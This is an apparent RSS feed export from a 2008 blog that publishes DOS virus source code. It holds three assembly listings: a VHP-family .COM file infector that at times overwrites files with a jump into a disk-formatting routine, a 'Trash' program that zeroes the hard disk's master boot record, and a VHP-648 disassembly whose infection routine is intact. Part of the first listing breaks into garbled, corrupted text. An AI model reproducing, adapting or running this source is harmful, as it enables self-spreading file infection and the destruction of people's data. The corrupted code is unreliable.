reserve db    7 dup (?)    ;Not used<br />
attrib    db    ?        ;File attribute<br />
time    dw    ?        ;File time<br />
date    dw    ?        ;File date<br />
fsize    dd    ?        ;File size<br />
namez    db    13d dup (?)    ;File name found</p>
<p>;This replaces the first instruction of a destroyed file.<br />
;It&#8217;s a jmp instruction into the hard disk formatting program (IBM XT only):</p>
<p>bad_jmp db    0EA,0,0,0,0C8<br />
errhnd    dd    ?</p>
<p>virus:<br />
push    cx        ;Save CX</p>
<p>mov    dx,offset data    ;Restore original first instruction<br />
modify    equ    $-2        ;The instruction above is changed<br />
; before each contamination<br />
cld<br />
mov    si,dx<br />
add    si,saveins-data ;Instruction saved there<br />
mov    di,offset start<br />
mov    cx,3        ;Move 3 bytes<br />
rep    movsb        ;Do it<br />
mov    si,dx        ;Keep SI pointed at data</p>
<p>mov    ah,30        ;Get DOS version<br />
int    21<br />
cmp    al,0        ;Less than 2.0?<br />
jne    skip1<br />
jmp    exit        ;Exit if so</p>
<p>skip1:<br />
push    es        ;Save ES<br />
mov    ah,2F        ;Get current DTA in ES:BX<br />
int    21<br />
mov    [si+dtaaddr-data],bx    ;Save it in dtaaddr<br />
mov    [si+dtaaddr+2-data],es</p>
<p>mov    ax,3524     ;Get interrupt 24h handler<br />
int    21        ; and save it in errhnd<br />
mov    [si+errhnd-data],bx<br />
mov    [si+errhnd+2-data],es<br />
pop    es        ;Restore ES</p>
<p>mov    ax,2524     ;Set interrupt 24h handler<br />
mov    dx,si<br />
add    dx,handler-data<br />
int    21</p>
<p>mov    dx,mydta-data<br />
add    dx,si<br />
mov    ah,1A        ;Set DTA<br />
int    21</p>
<p>push    es        ;Save ES &amp; SI<br />
push    si<br />
mov    es,ds:[environ] ;Environment address<br />
xor    di,di<br />
n_00015A:            ;Search &#8216;PATH&#8217; in environment<br />
pop    si        ;Restore data offset in SI<br />
push    si<br />
add    si,pathstr-data<br />
lodsb<br />
mov    cx,8000     ;Maximum 32K in environment<br />
repne    scasb        ;Search for first letter (&#8216;P&#8217;)<br />
mov    cx,4        ;4 letters in &#8216;PATH&#8217;<br />
n_000169:<br />
lodsb            ;Search for next char<br />
scasb<br />
jne    n_00015A    ;If not found, search for next &#8216;P&#8217;<br />
loop    n_000169    ;Loop until done<br />
pop    si        ;Restore SI &amp; ES<br />
pop    es</p>
<p>mov    [si+poffs-data],di    ;Save &#8216;PATH&#8217; offset in poffs<br />
mov    bx,si        ;Point BX at data area<br />
add    si,fname-data    ;Point SI &amp; DI at fname<br />
mov    di,si<br />
jmp    short n_0001BF</p>
<p>n_000185:<br />
cmp    word ptr [si+poffs-data],6C<br />
jne    n_00018F<br />
jmp    olddta<br />
n_00018F:<br />
push    ds<br />
push    si<br />
mov    ds,es:[environ]<br />
mov    di,si<br />
mov    si,es:[di+poffs-data]<br />
add    di,fname-data<br />
n_0001A1:<br />
lodsb<br />
cmp    al,&#8217;;&#8217;<br />
je    n_0001B0<br />
cmp    al,0<br />
je    n_0001AD<br />
stosb<br />
jmp    n_0001A1<br />
n_0001AD:<br />
xor    si,si<br />
n_0001B0:<br />
pop    bx<br />
pop    ds<br />
mov    [bx+poffs-data],si<br />
cmp    byte ptr [di-1],&#8217;\&#8217;<br />
je    n_0001BF<br />
mov    al,&#8217;\'          ;Add &#8216;\&#8217; if not already present<br />
stosb</p>
<p>n_0001BF:<br />
mov    [bx+eqoffs-data],di    ;Save &#8216;=&#8217; offset in eqoffs<br />
mov    si,bx        ;Restore data pointer in SI<br />
add    si,allcom-data<br />
mov    cl,6        ;6 bytes in ASCIIZ &#8216;*.COM&#8217;<br />
rep    movsb        ;Move &#8216;*.COM&#8217; at fname<br />
mov    si,bx        ;Restore SI</p>
<p>mov    ah,4E        ;Find first file<br />
mov    dx,fname-data<br />
add    dx,si<br />
mov    cl,11b        ;Hidden, Read/Only or Normal files<br />
int    21<br />
jmp    short n_0001E3</p>
<p>findnext:<br />
mov    ah,4F        ;Find next file<br />
int    21<br />
n_0001E3:<br />
jnc    n_0001E7    ;If found, try to contaminate it<br />
jmp    n_000185    ;Otherwise search in another directory</p>
<p>n_0001E7:<br />
mov    ax,[si+time-data]    ;Check file time<br />
and    al,11111b    ; (the seconds, more exactly)<br />
cmp    al,62d/2    ;Are they 62?</p>
<p>;If so, file is already contains the virus, search for another:</p>
<p>je    findnext</p>
<p>;Is file size greather than 64,000 bytes?</p>
<p>cmp    [si+fsize-data],64000d<br />
ja    findnext    ;If so, search for next file</p>
<p>;Is file size less than 10 bytes?</p>
<p>cmp    word ptr [si+fsize-data],10d<br />
jb    findnext    ;If so, search for next file</p>
<p>mov    di,[si+eqoffs-data]<br />
push    si        ;Save SI<br />
add    si,namez-data    ;Point SI at namez<br />
n_000209:<br />
lodsb<br />
stosb<br />
cmp    al,0<br />
jne    n_000209</p>
<p>pop    si        ;Restore SI<br />
mov    ax,4300     ;Get file attributes<br />
mov    dx,fname-data<br />
add    dx,si<br />
int    21</p>
<p>mov    [si+fattrib-data],cx    ;Save them in fattrib<br />
mov    ax,4301     ;Set file attributes<br />
and    cl,not 1    ;Turn off Read Only flag<br />
int    21</p>
<p>mov    ax,3D02     ;Open file with Read/Write access<br />
int    21<br />
jnc    n_00023E<br />
jmp    oldattr     ;Exit on error</p>
<p>n_00023E:<br />
mov    bx,ax        ;Save file handle in BX<br />
mov    ax,5700     ;Get file date &amp; time<br />
int    21<br />
mov    [si+ftime-data],cx    ;Save time in ftime<br />
mov    [si+fdate-data],dx    ;Save date in fdate</p>
<p>mov    ah,2C        ;Get system time<br />
int    21<br />
and    dh,111b     ;Are seconds a multiple of 8?<br />
jnz    n_000266    ;If not, contaminate file (don&#8217;t destroy):</p>
<p>;Destroy file by rewriting an illegal jmp as first instruction:</p>
<p>mov    ah,40        ;Write to file handle<br />
mov    cx,5        ;Write 5 bytes<br />
mov    dx,si<br />
add    dx,bad_jmp-data ;Write THESE bytes<br />
int    21        ;Do it<br />
jmp    short oldtime    ;Exit</p>
<p>;Try to contaminate file:</p>
<p>;Read first instruction of the file (first 3 bytes) and save it in saveins:</p>
<p>n_000266:<br />
mov    ah,3F        ;Read from file handle<br />
mov    cx,3        ;Read 3 bytes<br />
mov    dx,saveins-data ;Put them there<br />
add    dx,si<br />
int    21<br />
jc    oldtime     ;Exit on error<br />
cmp    ax,3        ;Are really 3 bytes read?<br />
jne    oldtime     ;Exit if not</p>
<p>;Move file pointer to end of file:</p>
<p>mov    ax,4202     ;LSEEK from end of file<br />
xor    cx,cx        ;0 bytes from end<br />
xor    dx,dx<br />
int    21<br />
jc    oldtime     ;Exit on error</p>
<p>mov    cx,ax        ;Get the value of file pointer (file size)<br />
add    ax,virus-data-3 ;Add virus data length to get code offset<br />
mov    [si+codeptr-data],ax    ;Save result in codeptr<br />
inc    ch        ;Add 100h to CX<br />
mov    di,si<br />
add    di,modify-data    ;A little self-modification<br />
mov    [di],cx</p>
<p>mov    ah,40        ;Write to file handle<br />
mov    cx,endcode-data ;Virus code length as bytes to be written<br />
mov    dx,si        ;Write from data to endcode<br />
int    21<br />
jc    oldtime     ;Exit on error<br />
cmp    ax,endcode-data ;Are all bytes written?<br />
jne    oldtime     ;Exit if not</p>
<p>mov    ax,4200     ;LSEEK from the beginning of the file<br />
xor    cx,cx        ;Just at the file beginning<br />
xor    dx,dx<br />
int    21<br />
jc    oldtime     ;Exit on error</p>
<p>;Rewrite the first instruction of the file ate-dne    bove<br />
ata area<br />
adttttttt<br />
grrr</p>
<p>frrrrrrt:<br />
mov    ah,4Frrrrrrrrrrre EPpll zDstrrrrrr<br />
e<br />
ata area<br />
adttttttt<br />
grrr</p>
<p>g1r1rH)a0x,2524     a0me l eO3Efleqryc+qn_00dd    si,d    ont    21<br />
jc    oldtime     ;Exit on error<br />
cmp    me l eO3E*;<br />
conds, more exa    mov    ahop    ssi,d    ont    21<br />
G3,n&#8217;0exit        ;Exit if i bl eO3Efleq n_0001A1:<br />
lods01:<br />
Tn v    ax,vitrtvs,pathstrt<br />
rp<br />
tore SI<br />
ff  to enaMvall byly    ont    21<br />
jc    ?i eO3js</p>
<p>mar it vall bylit vall tfll etan<br />
rE    ax,[di+poffs-datat<br />
conds,lodsblit )Eo<br />
:b; eO3Eeax        ;Get the value of file pointer (f</p>
<p>mar  file<br />
xor&#8217;artvs,papoinre to file hand  ;n written?<br />
jenaMoS<br />
wi,edO3E*;cog1ll byly    ont    2ijc    oltfll etan<br />
rnax,4CSave &#8216;n,X cs,papa tss a font    ah,4E ,Nt5h<br />
enaMoS<br />
wta    &#8216;p    ax,c    olhem in Kpto file hand  ;n writc file<br />
;o dleptrle han yc+qnlile<br />
xor&#8217;artvsd  ;nCcfont    n v    ae    od<br />
mo    ldfile<br />
le hh znt    S<br />
wi,     d<br />
rt2</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/34/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/34/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/34/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=34&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus Trash</title>
		<link>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-trash/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-trash/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 05:07:05 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus Trash]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=32</guid>
		<description><![CDATA[page    ,132 title    Trash &#8211; smashes the boot record on the first hard disk name    TRASH .radix    16 code    segment assume    cs:code,ds:code org    100 CODEX    equ    0C000        ; Or use 0300 when tracing DOS CR    equ    0Dh LF    equ    0A start: jmp    do_it oldint1 dd    ? newintx dd    ? oldintx dd    ? trace    db    [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=32&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>page    ,132<br />
title    Trash &#8211; smashes the boot record on the first hard disk<br />
name    TRASH</p>
<p>.radix    16</p>
<p>code    segment<br />
assume    cs:code,ds:code</p>
<p>org    100</p>
<p>CODEX    equ    0C000        ; Or use 0300 when tracing DOS</p>
<p>CR    equ    0Dh<br />
LF    equ    0A</p>
<p>start:<br />
jmp    do_it</p>
<p>oldint1 dd    ?<br />
newintx dd    ?<br />
oldintx dd    ?<br />
trace    db    1<br />
found    db    0<br />
buffer    db    200 dup (0)<br />
message db    CR,LF,&#8217;**********  W A R N I N G ! ! !  **********&#8217;,CR,LF,CR,LF<br />
db    &#8216;This program, when run, will zero (DESTROY!) the&#8217;,CR,LF<br />
db    &#8216;master boot record of your first hard disk.&#8217;,CR,LF,CR,LF<br />
db    &#8216;The purpose of this is to test the antivirus software,&#8217;,CR,LF<br />
db    &#8216;so be sure you have installed your favourite&#8217;,CR,LF<br />
db    &#8216;protecting program before running this one!&#8217;,CR,LF<br />
db    &#8220;(It&#8217;s almost sure it will fail to protect you anyway!)&#8221;,CR,LF<br />
db    CR,LF,&#8217;Press any key to abort, or&#8217;,CR,LF<br />
db    &#8216;press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $&#8217;<br />
warned    db    CR,LF,CR,LF,&#8217;Allright, you were warned!&#8217;,CR,LF,&#8217;$&#8217;</p>
<p>do_it:<br />
mov    ax,600        ; Clear the screen by scrolling it up<br />
mov    bh,7<br />
mov    dx,1950<br />
xor    cx,cx<br />
int    10</p>
<p>mov    ah,0F        ; Get the current video mode<br />
int    10        ;  (the video page, more exactly)</p>
<p>mov    ah,2        ; Home the cursor<br />
xor    dx,dx<br />
int    10</p>
<p>mov    ah,9        ; Print a warning message<br />
mov    dx,offset message<br />
int    21</p>
<p>mov    ax,0C08     ; Flush the keyboard and get a char<br />
int    21<br />
cmp    al,0        ; Extendet ASCII?<br />
jne    quit1        ; Exit if not<br />
mov    ah,8        ; Get the key code<br />
int    21<br />
cmp    al,6C        ; Shift-F5?<br />
jne    quit1        ; Exit if not<br />
mov    ah,2        ; Get keyboard shift status<br />
int    16<br />
and    al,1101b    ; Ctrl-Alt-RightShift?<br />
jnz    proceed     ; Proceed if so<br />
quit1:<br />
jmp    quit        ; Otherwise exit</p>
<p>proceed:<br />
mov    ah,9        ; Print the last message<br />
mov    dx,offset warned<br />
int    21</p>
<p>mov    ax,3501     ; Get interrupt vector 1 (single steping)<br />
int    21<br />
mov    word ptr oldint1,bx<br />
mov    word ptr oldint1+2,es</p>
<p>mov    ax,2501     ; Set new INT 1 handler<br />
mov    dx,offset newint1<br />
int    21</p>
<p>mov    ax,3513     ; Get interrupt vector 13<br />
int    21<br />
mov    word ptr oldintx,bx<br />
mov    word ptr oldintx+2,es<br />
mov    word ptr newintx,bx<br />
mov    word ptr newintx+2,es</p>
<p>; The following code is sacred in it&#8217;s present form.<br />
; To change it would cause volcanos to errupt,<br />
; the ground to shake, and program not to run!</p>
<p>mov    ax,200<br />
push    ax<br />
push    cs<br />
mov    ax,offset done<br />
push    ax<br />
mov    ax,100<br />
push    ax<br />
push    cs<br />
mov    ax,offset faddr<br />
push    ax<br />
mov    ah,55<br />
iret</p>
<p>assume    ds:nothing</p>
<p>faddr:<br />
jmp    oldintx</p>
<p>newint1:<br />
push    bp<br />
mov    bp,sp<br />
cmp    trace,0<br />
jne    search<br />
exit:<br />
and    [bp+6],not 100<br />
exit1:<br />
pop    bp<br />
iret<br />
search:<br />
cmp    [bp+4],CODEX<br />
jb    exit1<br />
;Or use ja if you want to trace DOS-owned interrupt<br />
push    ax<br />
mov    ax,[bp+4]<br />
mov    word ptr newintx+2,ax<br />
mov    ax,[bp+2]<br />
mov    word ptr newintx,ax<br />
pop    ax<br />
mov    found,1<br />
mov    trace,0<br />
jmp    exit</p>
<p>assume    ds:code<br />
done:<br />
mov    trace,0<br />
push    ds<br />
mov    ax,word ptr oldint1+2<br />
mov    dx,word ptr oldint1<br />
mov    ds,ax<br />
mov    ax,2501     ; Restore old INT 1 handler<br />
int    21<br />
pop    ds</p>
<p>; Code beyong this point is not sacred&#8230;<br />
; It may be perverted in any manner by any pervert.</p>
<p>cmp    found,1     ; See if original INT 13 handler found<br />
jne    quit        ; Exit if not<br />
push    ds<br />
pop    es        ; Restore ES</p>
<p>mov    ax,301        ; Write 1 sector<br />
mov    cx,1        ; Cylinder 0, sector 1<br />
mov    dx,80        ; Head 0, drive 80h<br />
mov    bx,offset buffer<br />
pushf            ; Simulate INT 13<br />
call    newintx     ; Do it</p>
<p>quit:<br />
mov    ax,4C00     ; Exit program<br />
int    21</p>
<p>code    ends<br />
end    start<br />
</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/32/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/32/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/32/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/32/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/32/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=32&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-trash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus 2</title>
		<link>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-2/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/15/listing-virus-2/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 05:06:02 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus 2]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=30</guid>
		<description><![CDATA[name    Virus title    Disassembly listing of the VHP-648 virus .radix    16 code    segment assume    cs:code,ds:code org    100 environ equ    2C start: jmp    virus message db    &#8217;Hello, world!$&#8217; mov    ah,9 mov    dx,offset message int    21 int    20 virus: push    cx        ;Save CX mov    dx,offset data    ;Restore original first instruction modify    equ    $-2        ;The instruction [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=30&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>name    Virus<br />
title    Disassembly listing of the VHP-648 virus<br />
.radix    16<br />
code    segment<br />
assume    cs:code,ds:code<br />
org    100<br />
environ equ    2C</p>
<p>start:<br />
jmp    virus</p>
<p>message db    &#8217;Hello, world!$&#8217;</p>
<p>mov    ah,9<br />
mov    dx,offset message<br />
int    21<br />
int    20</p>
<p>virus:<br />
push    cx        ;Save CX</p>
<p>mov    dx,offset data    ;Restore original first instruction<br />
modify    equ    $-2        ;The instruction above is changed<br />
; before each contamination<br />
cld<br />
mov    si,dx<br />
add    si,saveins-data ;Instruction saved there<br />
mov    di,offset start<br />
mov    cx,3        ;Move 3 bytes<br />
rep    movsb        ;Do it<br />
mov    si,dx        ;Keep SI pointed at data</p>
<p>mov    ah,30        ;Get DOS version<br />
int    21<br />
cmp    al,0        ;Less than 2.0?<br />
jne    skip1<br />
jmp    exit        ;Exit if so</p>
<p>skip1:<br />
push    es        ;Save ES<br />
mov    ah,2F        ;Get current DTA in ES:BX<br />
int    21<br />
mov    word ptr [si+0],bx    ;dtaadr<br />
mov    word ptr [si+2],es<br />
pop    es        ;Restore ES</p>
<p>mov    dx,mydta-data<br />
add    dx,si<br />
mov    ah,1A        ;Set DTA<br />
int    21</p>
<p>push    es        ;Save ES &amp; SI<br />
push    si<br />
mov    es,ds:[environ] ;Environment address<br />
mov    di,0<br />
n_00015A:            ;Search &#8216;PATH=&#8217; in the environment<br />
pop    si        ;Restore data offset in SI<br />
push    si<br />
add    si,pathstr-data<br />
lodsb<br />
mov    cx,8000     ;Maximum 32K in environment<br />
repne    scasb        ;Search for first letter (&#8216;P&#8217;)<br />
mov    cx,4        ;4 letters in &#8216;PATH&#8217;<br />
n_000169:<br />
lodsb            ;Search for next char<br />
scasb<br />
jne    n_00015A    ;If not found, search for next &#8216;P&#8217;<br />
loop    n_000169    ;Loop until done<br />
pop    si        ;Restore SI &amp; ES<br />
pop    es</p>
<p>mov    [si+16],di    ;Save &#8216;PATH&#8217; offset in poffs<br />
mov    di,si<br />
add    di,fname-data    ;Point SI &amp; DI at &#8216;=&#8217; sign<br />
mov    bx,si        ;Point BX at data area<br />
add    si,fname-data<br />
mov    di,si<br />
jmp    short n_0001BF</p>
<p>n_000185:<br />
cmp    word ptr [si+16],6C    ;poffs<br />
jne    n_00018F<br />
jmp    olddta<br />
n_00018F:<br />
push    ds<br />
push    si<br />
mov    ds,es:[environ]<br />
mov    di,si<br />
mov    si,es:[di+16]    ;poffs<br />
add    di,fname-data<br />
n_0001A1:<br />
lodsb<br />
cmp    al,&#8217;;&#8217;<br />
je    n_0001B0<br />
cmp    al,0<br />
je    n_0001AD<br />
stosb<br />
jmp    n_0001A1<br />
n_0001AD:<br />
mov    si,0<br />
n_0001B0:<br />
pop    bx<br />
pop    ds<br />
mov    [bx+16],si    ;poffs<br />
cmp    byte ptr [di-1],&#8217;\&#8217;<br />
je    n_0001BF<br />
mov    al,&#8217;\'          ;Add &#8216;\&#8217; if not already present<br />
stosb</p>
<p>n_0001BF:<br />
mov    [bx+18],di    ;Save &#8216;=&#8217; offset in eqoffs<br />
mov    si,bx        ;Restore data pointer in SI<br />
add    si,allcom-data<br />
mov    cx,6        ;6 bytes in ASCIIZ &#8216;*.COM&#8217;<br />
rep    movsb        ;Move &#8216;*.COM&#8217; at fname<br />
mov    si,bx        ;Restore SI</p>
<p>mov    ah,4E        ;Find first file<br />
mov    dx,fname-data<br />
add    dx,si<br />
mov    cx,11b        ;Hidden, Read/Only or Normal files<br />
int    21<br />
jmp    short n_0001E3</p>
<p>findnext:<br />
mov    ah,4F        ;Find next file<br />
int    21<br />
n_0001E3:<br />
jnc    n_0001E7    ;If found, try to contaminate it<br />
jmp    n_000185    ;Otherwise search in another directory</p>
<p>n_0001E7:<br />
mov    ax,[si+75]    ;Check file time<br />
and    al,11111b    ; (the seconds, more exactly)<br />
cmp    al,62d/2    ;Are they 62?</p>
<p>;If so, file is already contains the virus, search for another:</p>
<p>je    findnext<br />
cmp    [si+79],64000d    ;Is file size greather than 64,000 bytes?<br />
ja    findnext    ;If so, search for next file<br />
cmp    word ptr [si+79],10d    ;Is file size less than 10 bytes?<br />
jb    findnext    ;If so, search for next file</p>
<p>mov    di,[si+18]    ;eqoffs<br />
push    si        ;Save SI<br />
add    si,namez-data    ;Point SI at namez<br />
n_000209:<br />
lodsb<br />
stosb<br />
cmp    al,0<br />
jne    n_000209</p>
<p>pop    si        ;Restore SI<br />
mov    ax,4300     ;Get file attributes<br />
mov    dx,fname-data<br />
add    dx,si<br />
int    21</p>
<p>mov    [si+8],cx    ;Save them in fattrib<br />
mov    ax,4301     ;Set file attributes</p>
<p>;The next `db&#8217;s are there because MASM can&#8217;t assemble<br />
; the instruction `and cx,0FFFE&#8217; correctly (the fool!):</p>
<p>db    081,0E1,0FE,0FF<br />
;    and    cx,not 1    ;Turn off Read Only flag<br />
mov    dx,fname-data<br />
add    dx,si<br />
int    21</p>
<p>mov    ax,3D02     ;Open file with Read/Write access<br />
mov    dx,fname-data<br />
add    dx,si<br />
int    21<br />
jnc    n_00023E<br />
jmp    oldattr     ;Exit on error</p>
<p>n_00023E:<br />
mov    bx,ax        ;Save file handle in BX<br />
mov    ax,5700     ;Get file date &amp; time<br />
int    21<br />
mov    [si+4],cx    ;Save time in ftime<br />
mov    [si+6],dx    ;Save date in fdate</p>
<p>mov    ah,2C        ;Get system time<br />
int    21<br />
and    dh,111b     ;Are seconds a multiple of 8?</p>
<p>;If so, destroy file (don&#8217;t contaminate). Now this code is disabled.</p>
<p>jmp    short n_000266    ;CHANGED. Was jnz here</p>
<p>;Destroy file by rewriting an illegal jmp as first instruction:</p>
<p>mov    ah,40        ;Write to file handle<br />
mov    cx,5        ;Write 5 bytes<br />
mov    dx,si<br />
add    dx,bad_jmp-data ;Write THESE bytes<br />
int    21        ;Do it<br />
jmp    short oldtime    ;Exit</p>
<p>;Try to contaminate file:</p>
<p>;Read first instruction of the file (first 3 bytes) and save it in saveins:</p>
<p>n_000266:<br />
mov    ah,3F        ;Read from file handle<br />
mov    cx,3        ;Read 3 bytes<br />
mov    dx,saveins-data ;Put them there<br />
add    dx,si<br />
int    21<br />
jc    oldtime     ;Exit on error<br />
cmp    ax,3        ;Are really 3 bytes read?<br />
jne    oldtime     ;Exit if not</p>
<p>;Move file pointer to end of file:</p>
<p>mov    ax,4202     ;LSEEK from end of file<br />
mov    cx,0        ;0 bytes from end<br />
mov    dx,0<br />
int    21<br />
jc    oldtime     ;Exit on error</p>
<p>mov    cx,ax        ;Get the value of file pointer<br />
sub    ax,3        ;Subtract 3 from it to get real code size<br />
mov    [si+14d],ax    ;Save result in filloc<br />
add    cx,data-(virus-100)<br />
mov    di,si<br />
sub    di,data-modify    ;A little self-modification<br />
mov    [di],cx</p>
<p>mov    ah,40        ;Write to file handle<br />
mov    cx,enddata-virus  ;Virus code length as bytes to be written<br />
mov    dx,si<br />
sub    dx,data-virus    ;Now DX points at virus label<br />
int    21<br />
jc    oldtime     ;Exit on error<br />
cmp    ax,enddata-virus    ;Are all bytes written?<br />
jne    oldtime     ;Exit if not</p>
<p>mov    ax,4200     ;LSEEK from the beginning of the file<br />
mov    cx,0        ;Just at the file beginning<br />
mov    dx,0<br />
int    21<br />
jc    oldtime     ;Exit on error</p>
<p>;Rewrite the first instruction of the file with a jump to the virus code:</p>
<p>mov    ah,40        ;Write to file handle<br />
mov    cx,3        ;3 bytes to write<br />
mov    dx,si<br />
add    dx,newjmp-data    ;Write THESE bytes<br />
int    21</p>
<p>oldtime:<br />
mov    dx,[si+6]    ;Restore file date<br />
mov    cx,[si+4]    ; and time</p>
<p>;And these again are due to the MASM 5.0 foolness:</p>
<p>db    081,0E1,0E0,0FF<br />
db    081,0C9,01F,000<br />
;    and    cx,not 11111b<br />
;    or    cx,11111b    ;Set seconds to 62 (?!)</p>
<p>mov    ax,5701     ;Set file date &amp; time<br />
int    21<br />
mov    ah,3E        ;Close file handle<br />
int    21</p>
<p>oldattr:<br />
mov    ax,4301     ;Set file attributes<br />
mov    cx,[si+8]    ;They were saved in fattrib<br />
mov    dx,fname-data<br />
add    dx,si<br />
int    21</p>
<p>olddta:<br />
push    ds        ;Save DS<br />
mov    ah,1A        ;Set DTA<br />
mov    dx,[si+0]    ;Restore saved DTA<br />
mov    ds,[si+2]<br />
int    21<br />
pop    ds        ;Restore DS</p>
<p>exit:<br />
pop    cx        ;Restore CX<br />
xor    ax,ax        ;Clear registers<br />
xor    bx,bx<br />
xor    dx,dx<br />
xor    si,si<br />
mov    di,100        ;Jump to CS:100<br />
push    di        ; by doing funny RET<br />
xor    di,di<br />
ret    -1</p>
<p>data    label    byte        ;Data section<br />
dtaaddr dd    ?        ;Disk Transfer Address<br />
ftime    dw    ?        ;File date<br />
fdate    dw    ?        ;File time<br />
fattrib dw    ?        ;File attribute<br />
saveins db    0EBh,0Fh,90    ;Original first 3 bytes<br />
newjmp    db    0E9        ;Code of jmp instruction<br />
filloc    dw    ?        ;File pointer is saved here<br />
allcom    db    &#8217;*.COM&#8217;,0       ;Filespec to search for<br />
poffs    dw    ?        ;Address of &#8216;PATH&#8217; string<br />
eqoffs    dw    ?        ;Address of &#8216;=&#8217; sign<br />
pathstr db    &#8217;PATH=&#8217;<br />
fname    db    40 dup (&#8216; &#8216;)    ;Path name to search for</p>
<p>;Disk Transfer Address for Find First / Find Next:</p>
<p>mydta    label    byte<br />
drive    db    ?        ;Drive to search for<br />
pattern db    13d dup (?)    ;Search pattern<br />
reserve db    7 dup (?)    ;Not used<br />
attrib    db    ?        ;File attribute<br />
time    dw    ?        ;File time<br />
date    dw    ?        ;File date<br />
fsize    dd    ?        ;File size<br />
namez    db    13d dup (?)    ;File name found</p>
